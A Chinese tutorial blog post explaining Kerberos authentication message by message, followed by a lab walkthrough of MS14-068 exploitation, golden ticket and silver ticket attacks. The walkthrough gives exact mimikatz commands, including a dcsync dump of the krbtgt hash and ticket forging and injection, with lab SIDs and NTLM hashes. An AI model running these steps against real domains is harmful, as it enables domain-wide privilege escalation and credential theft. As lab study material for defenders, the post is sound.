目录
4.1.1.AS_REQ 请求数据包（Client → AS）
4.1.2.AS_REP 响应数据包（AS → Client）
4.1.4.TGS-REQ 请求数据包（Client → TGS）
4.1.5.TGS-REP 响应数据包（TGS → Client）
4.1.6.AP-REQ 请求数据包（Client → Server）
4.1.7.AP-REP 响应数据包（Server→ Client ）
1.Kerberos 是一种网络认证协议，
其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如：共享密钥）执行认证服务的
2.Kerberos协议的组成角色
在古希腊神话故事中，kerberos是一只具有三颗头颅的地狱恶犬，他守护在地狱之外，能够识别所有经此路过的亡灵，防止活着的入侵者闯入地狱。
kerberos协议中也存在三个角色，分别是
客户端（client）：发送请求的一方
服务端（Server）：接收请求的一方
密钥分发中心（Key Distribution Center，KDC），而密钥分发中心一般又分为两部分，分别是：
AS（Authentication Server）：认证服务器，专门用来认证客户端的身份并发放客户用于访问TGS的TGT（票据授予票据）
TGS（Ticket Granting Ticket）：票据授予服务器，用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据（Ticket）
3.认证流程
在举一个好理解的例子：
1.当我们去动物园，动物园不认识你不让你进，你也怕进门后不是动物园，所以就很尴尬
2.如何解决呢？我们建立一个售票窗口，只要售票处认识你和动物园，你和动物园之间就可以相互信任。
人：代表客户端
动物园：代表服务端
售票处：KDC
3.所以整个kerberos认证流程可以简化描述如下： 客户端在访问每个想要访问的网络服务时，他需要携带一个专门用于访问该服务并且能够证明自己身份的票据，当服务端收到了该票据他才能认定客户端身份正确，向客户端提供服务。所以整个认证流程可简化为两大步：
1、客户端向KDC请求获取想要访问的目标服务的服务授予票据（Ticket）；
2、客户端拿着从KDC获取的服务授予票据（Ticket）访问相应的网络服务；
4.在上述的流程中，其实还有一个问题，那就是
KDC怎么知道你（客户端）就是真正的客户端？凭什么给你发放服务授予票据（Ticket）呢？
我们以去动物园为例，售票处凭什么给你买票，你如果是一个逃犯怎么办？其实买票的过程我们可以分为两步。第一步是你拿着身份证去验证，第二步身份验证通过了才会给你票
人：代表客户端
动物园：代表服务端
售票处：KDC
身份校验人员:AS，负责验证用户身份的合法性，和给用户一个可以买票的票（TGT）
卖票人员：TGS，负责客户端访问服务端时所需的服务授予票据的单位（ST）
4.认证流程详细过程
4.1通信第一步-客户端和AS进行通信
为了获得能够用来访问服务端服务的票据（ST），客户端首先需要来到KDC（AS）获得服务授予票据（Ticket）。由于客户端是第一次访问KDC（AS），此时KDC（AS）也不确定该客户端的身份，所以第一次通信的目的为KDC（AS）认证客户端身份，确认客户端是一个可靠且拥有访问KDC(AS)权限的客户端（注意区别ST和TGT）
第一步
4.1.1.AS_REQ 请求数据包（Client → AS）
1. 数据包结构
AS_REQ = [pc1,ps, Authenticator]
Authenticator = enc(TimeStamp) key=hashUser2. 字段与术语详解
ps (Principal Server)
- 客户端请求访问的 目标服务标识（例如
HTTP/web-server@EXAMPLE.COM）。- 作用：告知 AS 客户端需要访问哪个服务。
Authenticator (认证器)
- 由客户端生成，包含加密的
TimeStamp，加密密钥为hashUser。- TimeStamp：客户端当前时间戳，用于防止重放攻击。
- hashUser：客户端的密码哈希值（如
NTLM/AES），只有客户端和 AS 共享。3. AS 的验证逻辑
解密 Authenticator
AS 使用hashUser解密Authenticator，获取明文TimeStamp。
验证点：只有合法用户（知道hashUser）才能生成有效的 Authenticator。检查时间戳有效性
计算当前时间与解密后的TimeStamp的差值：TimeNow - TimeStamp < 5 分钟验证点：防止攻击者截获旧请求并重放。
第二步
4.1.2.AS_REP 响应数据包（AS → Client）
1. 数据包结构
AS_REP = [enc(ps, TimeStamp, SK) key=hashUser, TGT]
TGT = enc(pc1, ps, ip_list, TimeStamp, timelife, SK) key=hash_krbtgt2.字段与术语详解
ps (Principal Server)
- 同 AS_REQ 中的目标服务标识，用于确认 AS 响应了正确的服务请求。
SK (Session Key)
- AS 生成的 临时会话密钥，用于后续客户端与 TGS 的安全通信（加密
TGS_REQ）。TGT (Ticket Granting Ticket)
- 票据授权票据，包含客户端身份、目标服务、有效期等信息，加密密钥为
hash_krbtgt（仅 AS 和 TGS 知道）。- pc (Principal Client)：客户端身份标识（例如
alice@EXAMPLE.COM）。- ip_list：允许使用此 TGT 的客户端 IP 地址列表（可选，限制票据使用范围）。
- timelife：TGT 的有效期（例如
8 小时），超时后票据失效。hash_krbtgt
- Kerberos 域控制器的
krbtgt账户的密码哈希值，用于加密 TGT，确保只有 AS 和 TGS 能解密。3. 客户端的验证逻辑
解密第一部分数据
客户端使用hashUser解密enc(ps, TimeStamp, SK)，验证：
- ps 一致性：解密后的
ps需与 AS_REQ 中发送的ps一致，确认 AS 响应了正确服务。- 时间戳有效性：检查
TimeNow - TimeStamp < 5 分钟，防止响应被重放。保存关键信息
- SK：用于后续与 TGS 通信时加密请求（如
TGS_REQ）。- TGT：客户端无法解密 TGT（需
hash_krbtgt），但会将其原样发送给 TGS 以请求服务
注意了，客户端只能解开一部分的AS发过来的数据包的内容（用客户端自己加密的那部分内容，客户端得到CT-SK,注意此时CT-SK只有KDC和客户端知道，然后客户端重新用加密CT-SK加密被解密的那部分内容）
4.1.3.数据包流量分析
1.AS_REQ 请求数据包
PAC不过多讲解，讲多了容易脑子乱，这里只要能简单看懂数据包就行（注意，由于加密时间戳使用的是用户的NTLM-hash值和AES key，所以这里可以使用PTH攻击和PTK攻击，PTH就是哈希传递攻击，前面在讲NTLM协议的是时候我提过一嘴，并且写过相关的文章，这里Kerberos协议也可以使用PTH攻击，PTK等后面我会写文章讲解）
第一个数据包其他的其实没什么，大家只要了解唯一加密过的时间戳，是用户的密码hash加密的就行了，然后AS用用户的hash值去解密时间戳，从而验证这个数据包没有被伪造。
2.AS_REP 响应数据包
能解开证明你提供的密码hash没有问题，解开之后AS就会给用户（客户端）发送响应数据包，这个数据包里面就包含了TGT
这里提醒一下，这里面的内容都是概要图，当年真实去抓包查看的时候，以实际情况为主，这里只是让大家便于理解。
4.1.4.TGS-REQ 请求数据包（Client → TGS）
TGS_REQ=[pc1,ps,TGT, Authenticator]
Authenticator=enc(pc2,TimeStamp) key=sk
1. 数据包结构
TGS_REQ = [pc1, ps, TGT, Authenticator]
pc1：客户端身份标识（明文），如
user@EXAMPLE.COM。ps：目标服务标识（明文），如
HTTP/web-server@EXAMPLE.COM。TGT：票据授予票据（加密），由 AS 签发，结构为：
TGT = enc(pc1, ps, IP_list, TimeStamp, timelife, SK) key=hash_krbtgtAuthenticator：客户端认证凭证（加密），结构为：
Authenticator = enc(pc2, TimeStamp) key=SKTGS_REQ=[pc1,ps,TGT, Authenticator] Authenticator=enc(pc2,TimeStamp) key=skTGS_REQ=[pc1,ps,TGT, Authenticator] Authenticator=enc(pc2,TimeStamp) key=sk TGT=enc(pc1,ps,ip_list,TimeStamp,timelife,SK) key=hash_krbtgt2. 字段与术语详解
(1) pc1（客户端身份标识）
作用：明文声明请求者身份，供 TGS 初步匹配 TGT 中的身份信息。
技术关联：需与 TGT 内加密的
pc1及 Authenticator 解密后的pc2一致，确保身份连续性。(2) ps（目标服务标识）
作用：指定客户端请求访问的服务（如 HTTP 服务），告知 TGS 需签发对应服务的 ST（服务票据）。
技术细节：需与 TGT 中的
ps一致，防止权限滥用（如篡改服务标识以越权访问）。(3) TGT（票据授予票据）
结构：由 AS 使用
hash_krbtgt（KDC 主密钥）加密，包含：
pc1：客户端身份
ps：允许访问的服务
IP_list：客户端 IP 限制（可选）
TimeStamp：TGT 签发时间
timelife：TGT 有效期（通常 8 小时）
SK：会话密钥（AS 生成，用于后续通信加密）验证逻辑：
TGS 用
hash_krbtgt解密 TGT，成功则证明其合法性（仅 AS 持有该密钥）。检查
TimeNow - TimeStamp < timelife（8 小时内有效），防止过期票据滥用。(4) Authenticator（认证器）
结构：使用会话密钥
SK加密，包含：
pc2：客户端身份（需与 TGT 中的pc1一致）
TimeStamp：客户端当前时间验证逻辑：
TGS 用 TGT 中的
SK解密 Authenticator，获取pc2和时间戳。比对
pc1（TGT 明文）与pc2（Authenticator 解密结果），确保请求来源一致。检查
TimeNow - TimeStamp < 5 分钟，防止重放攻击（时效性远短于 TGT）。总结
TGS-REQ 通过 明文声明（pc1, ps）、加密票据（TGT）和 动态凭证（Authenticator）三重机制，实现：
身份真实性：TGT 解密 +
pc1=pc2双重校验。时效性控制：TGT 长期有效（8 小时） + Authenticator 短期有效（5 分钟）。
抗重放攻击：时间戳机制确保请求新鲜性。
这一设计保障 Kerberos 协议在分布式环境下的安全身份认证与授权。
说人话就是，TGS先用hash_krbtgt（只有KDC知道）解密TGT获得CT-SK和一些客户端的用户名，时间戳之类的信息，然后用CT-SK去解密剩下的内容，也获得了客户端的用户名，时间戳之类的信息，然后对比两者（主要就是验证TGT是否合规不是伪造的），对比通过后，然后TGS会发一张ST给客户端。
数据包分析
4.1.5.TGS-REP 响应数据包（TGS → Client）
1. 数据包结构
TGS_REP 的完整结构如下：
TGS_REP = [enc(ps, SSK, TimeStamp, timelife) key=SK, ST] ST = enc(pc, SSK, TimeStamp, timelife) key=hash_service示意图关联：
图中标注
TGS_REP=[enc(ps, SSK, TimeStamp, timelife) key=SK, ST]，表示数据包由两部分组成：
加密的会话信息：TGS 使用会话密钥（SK）加密的临时会话密钥（ps）、服务会话密钥（SSK）、时间戳（TimeStamp）和有效期（timelife）。
服务票据（ST）：TGS 生成的服务票据，使用目标服务的密码哈希（hash_service）加密，包含客户端身份（pc）、SSK、时间戳和有效期。
2. 字段与术语详解
字段/术语
说明
ps
临时会话密钥（可能与 AS_REP 中的
ps一致或更新），用于后续通信的临时加密凭证。SSK（Service Session Key）
客户端与目标服务（Application Server）通信的会话密钥，由 TGS 生成并加密传递。
ST（Service Ticket）
服务票据，包含客户端身份、SSK、时间戳和有效期，加密密钥为目标服务的密码哈希（
hash_service），仅目标服务可解密。pc（Principal Client）
客户端唯一身份标识（如
alice@EXAMPLE.COM），用于 ST 中声明请求者身份。timelife
ST 的有效期（如 10 小时），超时后票据自动失效，需重新向 TGS 申请。
hash_service
目标服务（如
HTTP/web-server@EXAMPLE.COM）的密码哈希值，用于加密 ST，确保只有目标服务能解密。SK（Session Key）
客户端与 TGS 之间的会话密钥（来自 AS_REP 的 SK），用于解密 TGS_REP 的第一部分。
3. 客户端验证要点
客户端收到 TGS_REP 后需进行以下验证：
解密数据包：
使用与 TGS 共享的会话密钥（SK）解密
enc(ps, SSK, TimeStamp, timelife)，获取 SSK、时间戳和有效期。关键验证：确认解密后的
ps是否与 AS_REP 中获取的ps一致（若 ps 未更新），确保 TGS 响应合法。时间戳和有效期检查：
验证时间戳时效性：
TimeNow - TimeStamp < timelife（例如有效期 10 小时内），防止重放攻击。检查
timelife是否符合预期（如不超过系统设定的最大票据寿命）。4. 核心作用
SSK（服务会话密钥）：客户端与目标服务（Application Server）通信的加密密钥，后续通过 AP_REQ/AP_REP 交互使用。
ST（服务票据）：客户端将 ST 发送给目标服务以证明身份，ST 中包含 SSK 且仅目标服务可解密，确保通信安全。
总结：TGS_REP 是 Kerberos 认证流程中 TGS 对客户端的响应，核心是为客户端分配服务会话密钥（SSK）和服务票据（ST）。客户端通过验证时间戳、ps 一致性和有效期，确保 TGS 响应的真实性，最终通过 ST 和 SSK 安全访问目标服务。
注意：这里hash-server是服务端机器用户的hash的值（这个hash值只有服务端和KDC知道）
Kerberos与域环境的关系
- Kerberos依赖域身份体系：
Kerberos协议是Windows Active Directory域的核心认证机制。只有加入域的计算机（机器用户）才会在域控制器（KDC）的数据库中注册，并被分配唯一的机器账户（如COMPUTERNAME$）。- 机器账户的用途：
- 用于计算机在域内的身份认证（如访问域资源、与其他域成员通信）。
- 在Kerberos流程中，计算机需通过自己的机器账户向KDC申请票据（如TGT、ST）。
也就是说本来本地电脑的用户是不能向域里面查询信息的，但是当你在本地用system运行的时候，由于域控上有一个机器用户组，里面保存着机器名例如win7￥，而机器用户也是域里面的用户，所以此时使用本地system用户就相当于是使用域里面的机器用户。
4.1.6.AP-REQ 请求数据包（Client → Server）
1. 数据包结构
AP_REQ 数据包由以下核心组件构成：
AP_REQ = [Authenticator, ST] Service Ticket (ST)=enc(PC1, SSK, TimeStamp, Timelife)Server hash_Key Authenticator = enc(PC2, TimeStamp, Timelife)SSK
Authenticator：客户端生成的动态认证凭证，加密内容为：
Authenticator = enc(PC2, TimeStamp, Timelife)，加密密钥为会话密钥（SSK）。Service Ticket (ST)：由KDC（TGS）签发的服务票据，加密内容为：
ST = enc(PC1, SSK, TimeStamp, Timelife)，加密密钥为应用服务器的密钥（Server Key）。2. 示意图关联
左侧文字说明：
描述了AP_REQ的目标（验证客户端合法性）及数据包组成（Authenticator + ST）。
关键验证步骤包括解密ST、对比客户端标识（PC1与PC2）、时间戳校验。右侧流程图：
Client：构造AP_REQ并发送至AP Server。
KDC（AS/TGS）：前期通过AS_REQ/TGS_REQ流程生成ST。
AP Server：接收AP_REQ并执行验证逻辑。
3. 字段与术语详解
字段/术语
说明
Authenticator
客户端动态生成的凭证，包含客户端标识（PC2）、时间戳、生命周期，用SSK加密。
Service Ticket (ST)
由TGS签发的票据，包含客户端标识（PC1）、SSK、时间戳、生命周期，用AP Server密钥加密。
SSK (Session Key)
客户端与AP Server的临时会话密钥，由KDC生成并分发给双方。
PC1/PC2
客户端身份标识（Principal），PC1在ST中，PC2在Authenticator中，需一致性校验。
TimeStamp
时间戳，用于防止重放攻击。
Timelife
票据/认证器的有效期限制。
4. 验证要点（AP Server侧）
AP Server通过以下步骤验证客户端合法性：
解密ST
使用AP Server自身的密钥（Server Key）解密ST，获取SSK、PC1、时间戳和有效期。
校验ST的有效性（如时间戳是否过期）。
解密Authenticator
使用SSK解密Authenticator，获取PC2和时间戳。
关键比对：验证PC1（来自ST）与PC2（来自Authenticator）是否一致，确保客户端身份未被篡改。
时间戳校验
检查Authenticator中的时间戳与当前时间的偏差（通常≤5分钟），防止重放攻击。
校验有效期（Timelife）是否符合策略。
5. 核心作用
双向认证：AP_REQ同时验证客户端身份（通过PC1/PC2比对）和AP Server身份（通过Server Key解密ST）。
会话密钥传递：通过ST将SSK安全传递给AP Server，用于后续加密通信。
抗重放攻击：动态时间戳和有效期机制确保请求的实时性和唯一性。
数据包分析
先申请一张TGT
然后用这个TGT去申请对于服务的ST票据。
最后两个数据包（AP-REQ和AP-REP）依靠SMB2协议的形式发送，SMB2 会话携带 Kerberos 票据完成认证。
4.1.7.AP-REP 响应数据包（Server→ Client ）
AP-REP数据包结构与验证逻辑
1.数据包内容（
AP-REP = [协议头, Authenticator（加密部分）] Authenticator = enc(pc, TimeStamp, timelife) key=SSK
pc（Principal Client）：客户端身份标识。
TimeStamp：客户端生成的时间戳，用于防重放攻击。
timelife：票据生命周期，限制有效期。
加密方式：使用会话密钥（SSK）加密，确保数据机密性和完整性。
2.验证步骤（应用服务器侧）
解密Authenticator
应用服务器使用SSK解密Authenticator，提取客户端时间戳和身份信息。
时间戳校验
检查时间戳与当前时间的偏差（通常允许±5分钟），防止重放攻击。
身份合法性确认
匹配
pc字段与客户端身份，确保请求来自合法用户。返回AP-REP
若验证成功，返回AP-REP；否则终止连接。
3. AP-REP的核心作用
作用
说明
服务端身份证明
应用服务器通过返回AP-REP，证明自身拥有SSK（即合法持有服务密钥）。
双向认证完成
客户端确认服务端合法，服务端确认客户端合法，双方建立信任。
会话密钥确认
双方确认SSK一致性，为后续加密通信（如HTTP、LDAP）提供基础。
抗重放攻击
时间戳机制确保AP-REP的时效性，防止攻击者复用旧数据包。
补充知识点
1. Kerberos协议中的双向认证流程
Kerberos协议的AP阶段（应用服务认证阶段）包含两个数据包：
AP-REQ（客户端→服务端）
目的：客户端向服务端证明自身合法性。
验证方：服务端验证客户端身份（通过解密ST和Authenticator）。
AP-REP（服务端→客户端）
目的：服务端向客户端证明自身合法性。
验证方：客户端验证服务端身份（通过解密AP-REP中的服务端生成信息）。
双向认证的意义：
仅客户端验证服务端，可能遭遇“伪服务端”攻击（如钓鱼服务器）。
仅服务端验证客户端，可能遭遇“伪客户端”攻击（如恶意用户）。
Kerberos通过AP-REQ和AP-REP实现双向验证，确保双方身份均合法。
2. 为什么AP-REP需要包含客户端验证服务端的信息？
AP-REP的加密内容由服务端生成，需满足以下条件：
加密密钥：会话密钥（SSK），由KDC生成并分发给客户端和服务端。
加密内容：服务端生成的时间戳或其他验证标识。
客户端验证逻辑：
客户端使用SSK解密AP-REP中的加密部分。
检查解密后的时间戳是否与AP-REQ中发送的时间戳一致。
若一致，说明服务端能正确解密客户端发送的Authenticator（使用SSK），从而证明服务端拥有合法的Server Key（用于解密ST并提取SSK）。
结论：
AP-REP的加密数据是服务端向客户端证明自身合法性的“证据”。
若AP-REP验证失败，客户端会终止连接，防止与伪服务端通信。
3. 流程对比：AP-REQ vs. AP-REP
数据包
方向
验证目标
验证方
加密密钥
AP-REQ
客户端 → 服务端
客户端身份合法性
服务端
Server Key（解密ST） + SSK（解密Authenticator）
AP-REP
服务端 → 客户端
服务端身份合法性
客户端
SSK（解密AP-REP）
4. 用户疑问的根源：单向认证 vs. 双向认证
单向认证（如HTTP Basic Auth）：仅服务端验证客户端。
双向认证（Kerberos）：
服务端验证客户端（AP-REQ）。
客户端验证服务端（AP-REP）。
若缺少AP-REP：
客户端无法确认服务端是否合法，可能将敏感数据发送给攻击者伪造的服务端。
例如：攻击者伪造一个“银行服务器”，诱导客户端发送账户密码。
5. 示例场景：AP-REP如何防御中间人攻击
攻击者伪造服务端：拦截客户端的AP-REQ，返回伪造的AP-REP。
客户端验证AP-REP：
攻击者无法生成正确的加密内容（因缺乏Server Key和SSK）。
客户端解密失败或时间戳不匹配，终止连接。
AP-REP的存在使得Kerberos能抵御此类中间人攻击。
总结
图片中的表述正确：AP-REP是服务端发送给客户端的信息，用于客户端验证服务端身份。
双向认证的必要性：确保通信双方均合法，防止单点身份伪造风险。
Kerberos协议设计：通过AP-REQ和AP-REP的交互，实现双向信任建立，为后续安全通信奠定基础。
4.1.8.Kerberos认证协议的攻击方式
Kerberos认证过程就是票据的认证过程，只要能伪造票据，就能达成攻击的目的
黄金票据：伪造TGT票据，可以跳过AS认证。
伪造条件：知道krbtgt的哈希值
白银票据：伪造 ST 票据，直接跳过KDC认证。
伪造条件：知道服务端的机器用户的哈希值
4.1.9.kerberos协议中存在的安全问题
5. 利用MS14-068漏洞提权
步骤一：在域控上查看服务器是否打补丁KB3011780
systeminfo | find “KB3011780”
无输出结果，证明没有该补丁
步骤二：在域控上创建一个普通的域用户alex-wyj
net user alex-zhy 123.com /ADD /DOMAIN /EXPIRES:NEVER /PASSWORDCHG:NO
net user alex-wyj Admin@123 /add /domain
我这里是使用命令行创建了alex-wyj用户，密码为Admin@123的普通域用户。密码永不过期的操作是我手动修改的
步骤三：在未进行提权前尝试访问域控的根目录，发现拒绝访问（普通域用户 alex-wyj无法访问域控的目录）：
Dir \\DC.wyj.com\c$ （根据自己的域控做修改）
现在被拒绝访问，而且win7一张票据也没有。
步骤四：利用普通域用户alex-wyj登陆win7，并输入命令获取用户SID
Whoami /user > sid.txt
(将命令运行结果写入txt，比较容易粘贴复制，注意目录切换）
我这里就没有目录切换了，直接去找也是可以的
步骤五：在win7上删除已经存在的票据，klist可以查看当前缓存的票据。 清空票据命令：
Klist purge
步骤六：利用MS14-068.EXE 生成票据 （下载地址https://github.com/ianxtianxt/MS14-068）
ms14-068.exe -u alex-zhy@abc.com -p 123.com（密码） -s sid（刚刚获得的sid） -d dc-ws2012.abc.com（域控名字）
ms14-068.exe -u alex-wyj@wyj.com -p "Admin@123" -s S-1-5-21-3411785326-4006042893-3986577292-2103 -d dc.wyj.com
步骤七：mimikatz导入票据 （确保缓存票据与mimikatz处于同一目录）
Kerberos::ptc TGT_alex-wyj@wyj.com.ccache
步骤八：klist 查看票据缓存，只存在一张票据
步骤九：此时尝试访问域控根目录，由于目前环境域控为winserver2012R2无法 访问成功，winserver2008R2及以下版本可以成功。本漏洞至此即可。
出现这样的页面表示复刻成功。
补充流量分析
可以看到上面申请的伪造的TGT，所以跳过了向AS认证的阶段，直接向TGS去认证了。
Kerberos票据（ST）请求失败
数据包25：
KRBS TGS-REQ：客户端向域控制器（DC）发送TGS-REQ请求（申请ST服务票据）。响应
KRBS KRB_ERR_Generic：DC返回通用错误（可能是伪造的TGT被拒绝），说明系统已修补MS14-068漏洞（安装了KB3011780补丁），无法通过伪造的TGT获取合法ST票据。失败原因：修补后的系统会检测TGT中的PAC（特权属性证书）签名是否合法，而MS14-068生成的伪造PAC签名无法通过验证。
2. 系统回退到NTLM协议
在Kerberos认证失败后，SMB协议会尝试降级到NTLM认证，以下数据包验证了这一点：
数据包65-66：
SMB Session Setup Request, NTLMSSP_NEGOTIATE：客户端发起NTLM协商请求。
SMB Session Setup Response, NTLMSSP_CHALLENGE：DC返回NTLM质询（Challenge），要求客户端提供NTLM响应。后续数据包：若继续交互，客户端会发送NTLM响应（NTLMv1或NTLMv2），最终通过NTLM完成身份验证。
6.黄金票据
步骤一：在win7上切换用户为pth-zhy，获取域的SID whoami /user 获取域的sid （域的sid是 域用户的sid 减去最后一段数字，如下图删除-2607剩下的就是域的sid）
用户信息
----------------用户名 SID
============ ==============================================
wyj\alex-wyj S-1-5-21-3411785326-4006042893-3986577292-2103
域的sid：S-1-5-21-3411785326-4006042893-3986577292
步骤二：获取krbtgt用户hash，利用psexec连接到域控dc-ws2012， 从而获取dc-ws20120反弹到win7的shell
PsExec64.exe \\dc.wyj.com cmd
没有票据，所以连接不上。
步骤三：利用上传到域控的mimikatz获取krbtgt用户hash。建议写入文件方便复制。
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:wyj.com /all /csv" "exit" > hash.txt
krbtgt 1e036ef6c71a97cc5f6d15ff8556bfc4
步骤四：将域控的hash.txt下载到win7
步骤五：制作黄金票据 此时我们已经拥有krbtgt账号的hash，接下来在win7，使用mimikatz制作黄金票据。
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /krbtgt:hash /ticket:XXX.kirbi(票据名称)
kerberos::golden /user:abcd /domain:wyj.com /sid:S-1-5-21-3411785326-4006042893-3986577292 /krbtgt:1e036ef6c71a97cc5f6d15ff8556bfc4 /ticket:Golden.kirbi
命令是正确的，复制不行的话手亲自敲代码
生成的黄金票据在mimikatz同目录下
步骤六：将黄金票据复制到普通域用户alex-zhy的桌面
步骤七：切换到用户alex-wyj，并清除当前内存的票据
klist purge
步骤九 利用alex-wyj进行 票据传递
kerberos::ptt Golden.kirbi
步骤十：攻击成功
7.白银票据
步骤一：基本信息获取 域的sid=用户的sid减去最后一段（参考上面黄金票据的）
域的sid：S-1-5-21-3411785326-4006042893-3986577292
步骤二：域控的机器账号DC$的hash值（之前制作黄金票据时已经获得）
1001 DC$ 3187bcd384be4be25abfadcb76038557
步骤三：使用alex-wyj用户制作白银票据
kerberos::golden /domain:wyj.com /sid:S-1-5-21-3411785326-4006042893-3986577292 /target:dc.wyj.com /service:cifs /rc4:3187bcd384be4be25abfadcb76038557 /user:abcdefg /ticket:sliver.kirbi
先把已经缓存的票据清除，以免影响实验操作
步骤四：导入票据
kerberos::ptt sliver.kirbi
攻击成功
PsExec64.exe也可以用
8.三种票据的总结
MS14-068票据
作用：利用Kerberos PAC验证漏洞，伪造高权限TGT，绕过身份验证。
限制：仅影响未打补丁的旧系统（如Server 2008 R2以下）。
黄金票据（Golden Ticket）
作用：通过krbtgt哈希生成任意用户的TGT，获得域管理员权限，可访问任何服务。
持久性：有效直至krbtgt密码更改。
白银票据（Silver Ticket）
作用：针对特定服务（如CIFS）生成ST，仅限访问该服务。
隐蔽性：不依赖TGT，直接访问服务，检测难度更高。
总结：
黄金票据提供全域权限，白银票据针对特定服务，MS14-068票据为特定漏洞利用，三者均通过伪造Kerberos票据实现权限提升。
9.重要声明
以上所有实验仅用于技术研究及学习，请严格遵守法律法规！
合法授权前提：
未经授权，禁止在真实网络环境（尤其是生产环境或他人系统）中测试票据伪造、横向移动等技术，此类行为可能被认定为恶意攻击，违反《网络安全法》！
建议在隔离的本地虚拟机或取得书面授权的沙箱环境中实验。
技术道德规范：
本文所有内容聚焦Kerberos协议原理及防御认知，禁止以任何形式用于非法渗透、数据窃取、破坏系统完整性等行为。
安全从业者应秉承“白帽原则”（White Hat Ethics），以防御驱动攻击技术的研究。
责任免除：
作者不承担任何因读者滥用文中技术造成的法律责任、经济赔偿或声誉损失。技术本身无善恶，使用者需对自身行为负责。
隐私与知识产权保护：
实验过程中如涉及模拟数据，需确保完全虚构或脱敏，严禁使用真实用户信息（如企业域名、员工账号）。
不得利用文中方法攻击开源协议/版权保护机制，尊重软件及硬件知识产权。
技术学习的目标是构建更安全的系统，而非寻找漏洞的捷径。共勉。 🔒
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
